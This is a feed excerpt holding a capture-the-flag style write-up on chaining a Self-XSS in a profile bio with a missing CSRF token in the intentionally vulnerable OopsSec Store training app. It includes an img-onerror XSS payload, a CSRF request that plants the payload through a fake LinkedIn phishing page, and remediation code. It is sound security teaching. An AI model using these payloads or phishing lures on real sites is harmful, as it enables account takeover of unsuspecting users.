&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>nextjs</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Self-XSS is not "won't fix" — here's the CSRF that weaponizes it</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Sat, 08 Aug 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/self-xss-is-not-wont-fix-heres-the-csrf-that-weaponizes-it-25li</link>
      <guid>https://dev.to/oopssec-store/self-xss-is-not-wont-fix-heres-the-csrf-that-weaponizes-it-25li</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;A Self-XSS in the profile bio editor is harmless on its own. Chain it with a missing CSRF token on the update endpoint and you get cross-user profile takeover.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OopsSec Store's profile page renders the user's bio with &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;, no sanitization. On its own the XSS is limited to self-injection, but the profile update endpoint has no CSRF protection either. Chain the two and an attacker can plant a stored XSS payload in any logged-in user's profile just by getting them to visit a page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerability overview
&lt;/h2&gt;

&lt;p&gt;Two separate issues, neither interesting on its own:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Self-XSS in the bio field.&lt;/strong&gt; The profile page renders the bio with React's &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;. Whatever HTML the user saves gets rendered as-is. Since it only affects your own profile, this is typically classified as Self-XSS and deprioritized.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No CSRF protection on profile update.&lt;/strong&gt; &lt;code&gt;POST /api/user/profile&lt;/code&gt; authenticates via an HTTP-only cookie but doesn't require a CSRF token, a same-origin check, or any anti-forgery mechanism. Any cross-origin page can submit a profile update on behalf of a logged-in user.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The Self-XSS only fires in the attacker's own browser. The CSRF can only update text fields. But chained together, an attacker can inject arbitrary JavaScript into a victim's profile that runs every time anyone loads that profile page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Flag 1: Self-XSS in the profile bio (Easy)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 1: Log in
&lt;/h3&gt;

&lt;p&gt;Sign in with the test credentials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Email: &lt;code&gt;alice@example.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: &lt;code&gt;iloveduck&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Step 2: Navigate to the profile page
&lt;/h3&gt;

&lt;p&gt;Go to &lt;code&gt;/profile&lt;/code&gt;. There's a form with a bio textarea.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 3: Inject the XSS payload
&lt;/h3&gt;

&lt;p&gt;In the bio field, enter any HTML payload. For example:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"x"&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"alert('XSS')"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Click &lt;strong&gt;Save Profile&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjzqtfx18hpo6liyuc8m2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjzqtfx18hpo6liyuc8m2.png" alt="XSS" width="800" height="497"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 4: Retrieve the flag
&lt;/h3&gt;

&lt;p&gt;The API detects the HTML tag in the bio and returns the flag.&lt;/p&gt;

&lt;p&gt;Once the page re-renders with the saved bio, the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag tries to load an invalid &lt;code&gt;src&lt;/code&gt;, the &lt;code&gt;onerror&lt;/code&gt; handler fires, and the &lt;code&gt;alert()&lt;/code&gt; pops up. XSS confirmed.&lt;/p&gt;
&lt;h3&gt;
  
  
  Why this payload works
&lt;/h3&gt;

&lt;p&gt;The bio is rendered with &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;, which inserts raw HTML into the DOM. People sometimes assume &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags will execute here -- they won't. When HTML is inserted via &lt;code&gt;innerHTML&lt;/code&gt; (which is what &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; uses under the hood), the browser parses the markup but skips &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; elements. Event handler attributes like &lt;code&gt;onerror&lt;/code&gt;, &lt;code&gt;onload&lt;/code&gt;, and &lt;code&gt;onmouseover&lt;/code&gt; &lt;em&gt;do&lt;/em&gt; fire, because they're bound as the elements are created in the DOM.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;img src=x&amp;gt;&lt;/code&gt; is a standard XSS vector: the broken image source guarantees the &lt;code&gt;onerror&lt;/code&gt; handler runs immediately.&lt;/p&gt;
&lt;h2&gt;
  
  
  Flag 2: CSRF + Self-XSS chain (Hard)
&lt;/h2&gt;

&lt;p&gt;This flag requires chaining the Self-XSS with the missing CSRF protection. You need admin access first.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 1: Gain admin access
&lt;/h3&gt;

&lt;p&gt;Use one of the other vulnerabilities in the lab to escalate to admin. Mass assignment on the registration endpoint or JWT secret forgery both work. The goal is to get into the admin panel.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 2: Find the hidden exploit link
&lt;/h3&gt;

&lt;p&gt;With admin access, open the admin page and view its source. You'll find a hidden link pointing to:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;/exploits/csrf-profile-takeover.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This is an example of phishing page that runs the full attack.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 3: Visit the exploit page while logged in
&lt;/h3&gt;

&lt;p&gt;Open &lt;code&gt;/exploits/csrf-profile-takeover.html&lt;/code&gt; in your browser while still authenticated. The page looks like a LinkedIn notification about a profile endorsement.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjad03d6zvqt10f57kjmr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjad03d6zvqt10f57kjmr.png" alt="Fake Linkedin" width="800" height="661"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 4: Trigger the attack
&lt;/h3&gt;

&lt;p&gt;Put yourself in the victim's shoes: you received this notification and, trusting the familiar LinkedIn interface, you click the "View Profile" button. Behind the scenes, the page sends a &lt;code&gt;POST&lt;/code&gt; request to &lt;code&gt;/api/user/profile&lt;/code&gt; with &lt;code&gt;credentials: "include"&lt;/code&gt;, so the browser attaches your authentication cookie automatically. The request body sets the bio to an XSS payload:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"bio"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;img src=x onerror=&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;alert('XSS executed in profile context')&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Step 5: Retrieve the flag
&lt;/h3&gt;

&lt;p&gt;The endpoint checks the &lt;code&gt;Referer&lt;/code&gt; header. Since the request didn't come from &lt;code&gt;/profile&lt;/code&gt;, the server marks the account as CSRF-exploited. The phishing page then redirects you to &lt;code&gt;/profile&lt;/code&gt;. The profile page sees the CSRF flag on the account and displays it. You'll also see the stored XSS fire in the bio area.&lt;/p&gt;
&lt;h3&gt;
  
  
  Why this works
&lt;/h3&gt;

&lt;p&gt;The profile update endpoint uses cookie-based authentication with &lt;code&gt;sameSite: "lax"&lt;/code&gt;. There are two ways to exploit this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Same-origin fetch (used by the exploit page).&lt;/strong&gt; Because the exploit page is served from the same origin (&lt;code&gt;/exploits/csrf-profile-takeover.html&lt;/code&gt;), &lt;code&gt;fetch&lt;/code&gt; with &lt;code&gt;credentials: "include"&lt;/code&gt; works. The browser treats it as a same-origin request and attaches the cookie. This scenario is less realistic in practice since it requires the attacker to host a page on the target's own domain.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cross-origin form submission.&lt;/strong&gt; Even from a completely different origin, a classic &lt;code&gt;&amp;lt;form method="POST"&amp;gt;&lt;/code&gt; auto-submit would work. With &lt;code&gt;sameSite: "lax"&lt;/code&gt;, the browser sends cookies on top-level navigations — and a form submission that redirects the user counts as one. This is possible because the endpoint accepts &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; in addition to JSON.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In both cases, the endpoint has no CSRF token, no &lt;code&gt;Origin&lt;/code&gt; header check, and no &lt;code&gt;Referer&lt;/code&gt; validation, so the request goes through.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Sanitize user-generated HTML
&lt;/h3&gt;

&lt;p&gt;Don't pass untrusted content to &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt;. Use a library like &lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt; to strip dangerous tags and attributes before rendering:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dompurify&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt; &lt;span class="nx"&gt;dangerouslySetInnerHTML&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;__html&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bio&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}}&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or skip &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; entirely and render the bio as plain text.&lt;/p&gt;
&lt;h3&gt;
  
  
  Add CSRF protection
&lt;/h3&gt;

&lt;p&gt;Add anti-CSRF tokens to all state-changing endpoints. The usual options: synchronizer tokens (one per session, validated server-side), double-submit cookies (random value in both cookie and header, matched on the server), or setting &lt;code&gt;sameSite: "strict"&lt;/code&gt; on the auth cookie to block cross-site requests entirely.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Example: validate CSRF token in the profile update handler&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;csrfToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;X-CSRF-Token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;expectedToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;csrfToken&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;csrfToken&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;csrfToken&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;expectedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid CSRF token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Fix both
&lt;/h3&gt;

&lt;p&gt;Even with CSRF protection, fix the XSS independently. If something else bypasses the CSRF defense later, the unsanitized bio is exploitable again.&lt;/p&gt;
&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-community/attacks/xss/" rel="noopener noreferrer"&gt;OWASP: Cross-Site Scripting (XSS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-community/attacks/csrf" rel="noopener noreferrer"&gt;OWASP: Cross-Site Request Forgery (CSRF)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/cross-site-scripting/exploiting" rel="noopener noreferrer"&gt;PortSwigger: Exploiting Self-XSS via CSRF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html" rel="noopener noreferrer"&gt;React docs: dangerouslySetInnerHTML&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
